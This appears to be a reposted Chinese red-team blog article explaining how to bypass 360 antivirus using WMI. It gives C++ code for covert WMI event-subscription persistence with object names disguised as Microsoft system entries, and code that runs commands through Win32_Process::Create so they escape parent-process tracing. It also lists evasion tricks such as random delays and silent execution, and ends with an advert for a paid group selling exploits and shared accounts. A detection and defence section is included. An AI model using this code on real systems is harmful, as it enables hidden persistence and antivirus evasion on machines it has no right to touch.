文章总结: 文章详解在360核晶防护下利用WMI实现进程断链与持久化:通过root\subscription事件订阅三步构造隐蔽自启动,用root\cimv2Win32_Process::Create执行命令使父进程变为wmiprvse.exe规避溯源,给出对抗性命名伪装、延迟混淆等技巧,并提供检测审计与防护建议如监控WMI对象、父进程及API调用、限制权限与日志策略,附完整C++代码可直接复现实战场景 综合评分: 88 文章分类: 红队,内网渗透,免杀,实战经验,漏洞分析
Bypass360-WMI详解
原创
SharkSec SharkSec
SharkSec
2026年1月20日 19:25 湖南
🔔 温馨提示:为了防止走散,不错过每一篇干货内容,请记得将公众号设置为星标!🌟
【声明】本文技术、思路及工具仅用于合法安全测试与防御研究,严禁用于非法入侵、攻击他人系统或盈利等违法违规行为,一切后果由操作者自行承担,作者及团队不承担任何连带责任。
引 言
背景:实战场景下,目标存在360且开启核晶状态下,进行命令执行乃至维权的情况下很有可能产生告警,就拿命令执行来说的话,通过webshell执行命令时多次触发告警,则360限制策略将会导致webshell无法执行whoami、ipconfig、net等命令或无法通过webshell执行马子,那么进程断链显得尤为重要,可以用这篇文章介绍的WMI绕过,当然推荐用JNI进行绕过。那么这篇文章就以应用WMI场景为例,给大家讲讲。
一、WMI 核心基础认知
WMI 本质是一套标准化的系统管理接口,核心由「命名空间(Namespace)」「类(Class)」「实例(Instance)」构成:
● 命名空间:WMI 资源的逻辑分组,如root\cimv2(系统核心信息)、root\subscription(事件订阅);
● 事件机制:
通过「事件过滤器(Event Filter)」+「事件消费者(Event Consumer)」+「绑定关系(FilterToConsumerBinding)」,可实现 “当特定事件触发时执行指定操作”,这是 WMI 持久化的核心原理;
● 进程调用:通过Win32_Process::Create方法,可直接通过 WMI 创建进程,且该进程父进程为wmiprvse.exe(WMI 宿主进程),脱离原程序进程链,难以溯源。
二、场景 1:WMI 事件订阅实现持久化自启动
1
核心原理
通过在root\subscription命名空间创建三类对象,实现 “系统触发指定事件时自动执行恶意程序”:
-
Event Filter:定义触发条件(如explorer.exe进程创建,模拟系统正常行为);
-
CommandLineEventConsumer:定义触发后执行的操作(如启动恶意程序);
-
FilterToConsumerBinding:将过滤器和消费者绑定,形成完整的触发链路。
2
关键代码解析
以下是实现该逻辑的核心代码片段(已做对抗性优化,模拟恶意程序的隐蔽手段):
// 1. 初始化COM并连接WMI订阅命名空间hres = CoInitializeEx(NULL, COINIT_MULTITHREADED);hres = CoCreateInstance(CLSID_WbemLocator, NULL, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID*)&pLoc);bstrNamespace = CreateBSTR(L"root\\subscription");hres = pLoc->ConnectServer(bstrNamespace, NULL, NULL, NULL, 0, NULL, NULL, &pSvc);// 2. 创建事件过滤器(触发条件:explorer.exe进程创建)bstrWQL = CreateBSTR(L"SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'");bstrFilterClass = CreateBSTR(L"__EventFilter");pSvc->GetObject(bstrFilterClass, 0, NULL, &pFilterClass, NULL);pFilterClass->SpawnInstance(0, &pFilterInst);// 伪装过滤器名称为系统级标识,规避检测InitVariantString(&varFilterName, L"Microsoft_Windows_Explorer_Monitor");pFilterInst->Put(L"Name", 0, &varFilterName, 0);pFilterInst->Put(L"Query", 0, &varQuery, 0); // 注入WQL触发条件pSvc->PutInstance(pFilterInst, WBEM_FLAG_CREATE_ONLY, NULL, NULL);// 3. 创建命令行消费者(指定要执行的恶意程序路径)bstrConsumerClass = CreateBSTR(L"CommandLineEventConsumer");pSvc->GetObject(bstrConsumerClass, 0, NULL, &pConsumerClass, NULL);pConsumerClass->SpawnInstance(0, &pConsumerInst);InitVariantString(&varConsumerName, L"Microsoft_Windows_Explorer_Command"); // 伪装消费者名称InitVariantString(&varCmdLine, bstrExePathW); // 注入要自启动的程序路径pConsumerInst->Put(L"CommandLineTemplate", 0, &varCmdLine, 0);pSvc->PutInstance(pConsumerInst, WBEM_FLAG_CREATE_ONLY, NULL, NULL);// 4. 绑定过滤器与消费者,完成持久化配置bstrBindingClass = CreateBSTR(L"__FilterToConsumerBinding");pSvc->GetObject(bstrBindingClass, 0, NULL, &pBindingClass, NULL);pBindingInst->Put(L"Filter", 0, &varFilterBind, 0);pBindingInst->Put(L"Consumer", 0, &varConsumerBind, 0);pSvc->PutInstance(pBindingInst, WBEM_FLAG_CREATE_ONLY, NULL, NULL);
3
对抗性设计要点
恶意程序会通过以下方式规避检测:
● 触发条件选择系统正常事件(如explorer.exe启动)避免异常行为;
● 命名伪装:将过滤器 / 消费者命名为 “Microsoft_Windows_*”, 模拟系统原生对象;
● 插入随机延迟、内存填充等无意义操作,混淆行为特征;
● 无控制台输出,全程静默执行。
三、场景 2:WMI 进程断链执行系统命令
1
核心原理
通过调用Win32_Process类的Create方法执行系统命令,该方式创建的进程父进程为wmiprvse.exe(WMI 服务进程),而非恶意程序本身,实现 “进程断链”,降低溯源概率。
2
关键代码解析
以下是核心执行逻辑(简化版,保留关键流程),github很多参考:
// 1. 连接WMI核心命名空间root\cimv2hres = CoCreateInstance(CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID*)&pLoc);bstrNamespace = CreateBSTR(L"ROOT\\CIMV2");pLoc->ConnectServer(bstrNamespace, NULL, NULL, 0, 0, 0, 0, &pSvc);CoSetProxyBlanket(pSvc, RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL, RPC_C_AUTHN_LEVEL_CALL, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE);// 2. 获取Win32_Process类并调用Create方法pSvc->GetObject(CreateBSTR(L"Win32_Process"), 0, NULL, &pClass, NULL);pClass->GetMethod(CreateBSTR(L"Create"), 0, &pInParamsDefinition, NULL);pInParamsDefinition->SpawnInstance(0, &pClassInstance);// 3. 注入要执行的命令(如net user),并执行VariantInit(&varCommand);varCommand.vt = VT_BSTR;varCommand.bstrVal = CreateBSTR(L"cmd.exe /c net user && pause"); // 执行系统命令并暂停pClassInstance->Put(L"CommandLine", 0, &varCommand, 0);pSvc->ExecMethod(CreateBSTR(L"Win32_Process"), CreateBSTR(L"Create"), 0, NULL, pClassInstance, &pOutParams, NULL);// 4. 获取执行结果,释放资源pOutParams->Get(CreateBSTR(L"ReturnValue"), 0, &varReturnValue, NULL, 0);std::cout << "执行返回码:" << (unsigned int)varReturnValue.uintVal << std::endl;VariantClear(&varCommand);// 释放所有WMI对象资源...
3
核心优势(恶意利用视角)
● 进程断链:目标进程父进程为系统进程wmiprvse.exe,传统 “父进程溯源” 失效;
● 权限提升:若恶意程序以普通权限运行,WMI 可通过权限继承执行部分高权限命令;
● 无文件落地:可直接执行内存中的命令,无需写入磁盘文件。
四、恶意利用的检测与防护思路
1
检测维度
● WMI 订阅审计:监控root\subscription命名空间的对象创建,重点排查名称伪装为 “Microsoft_*” 但路径异常的过滤器 / 消费者;
● 进程溯源:监控父进程为wmiprvse.exe的异常进程(如cmd.exe、未知可执行文件);
●API 调用监控:检测程序对CoCreateInstance(CLSID_WbemLocator)、IWbemServices::ExecMethod等敏感 API 的调用;
● WMI 日志分析:开启 WMI 日志(事件 ID 5858、5861 等), 分析异常的 WQL 查询和实例创建操作。
2
防护措施
● 权限限制:限制普通用户对 WMI 的访问权限,避免低权限账户创建 WMI 订阅;
● 日志审计:开启 Windows 事件日志中 WMI 相关审计策略,及时发现异常操作;
● 行为拦截:终端安全工具可拦截 “非运维工具创建 WMI 订阅”“WMI 启动敏感进程” 等行为;
● 定期清理:定期检查root\subscription命名空间,删除非系统原生的过滤器 / 消费者。
WMI场景下的场景很多,此篇列举几个,下一篇更新实战场景下面的JNI绕过。
如果大家对我们的文章技术有什么建议或者工具使用上的反馈,都欢迎大家在评论区留言交流。对我们分享的文章感兴趣,想要深入探讨、交流并学习更多相关内容,也欢迎各位师傅加入官方技术交流群!!!(关注公众号,点击菜单栏:联系我们->技术交流群,添加管理员微信,备注【加群】,拉您进群)
加入圈子,一起进阶!
我们圈子已平稳运营一段时间啦,后续也会持续为大家输送高质量的实战资源:有一线团队的一手攻防经验、私有工具源码(包括咱们公众号发的工具,圈子里能直接拿源码 + 持续迭代),还有漏洞挖掘的 POC/EXP、每月不定期 0day 分享,hw实战攻防遇见高频oa/设备源码都能在这拿到。
对了,圈子里还有些「刚需资源」:FOFA 的 Key 长期能用,Cursor Pro 共享账号登了就能用; 企业 SRC 案例、红队实战经验也会拆解着讲。
现在圈子现价 129 / 人,等满 200 人就涨到 150/人 了 —— 入了圈子还能进专属内部群,比咱们公开交流群的资源更新更实时、讨论也更深度。
纷传和知识星球内容是同步的,后期主要运营纷传,所以想进圈子的朋友直接扫描下方二维码就可以啦~
结束
👉 点击关注不迷路,一起潜入深水区,突破边界,共同精进!🚀
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:SharkSec SharkSec SharkSec《Bypass360-WMI详解》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论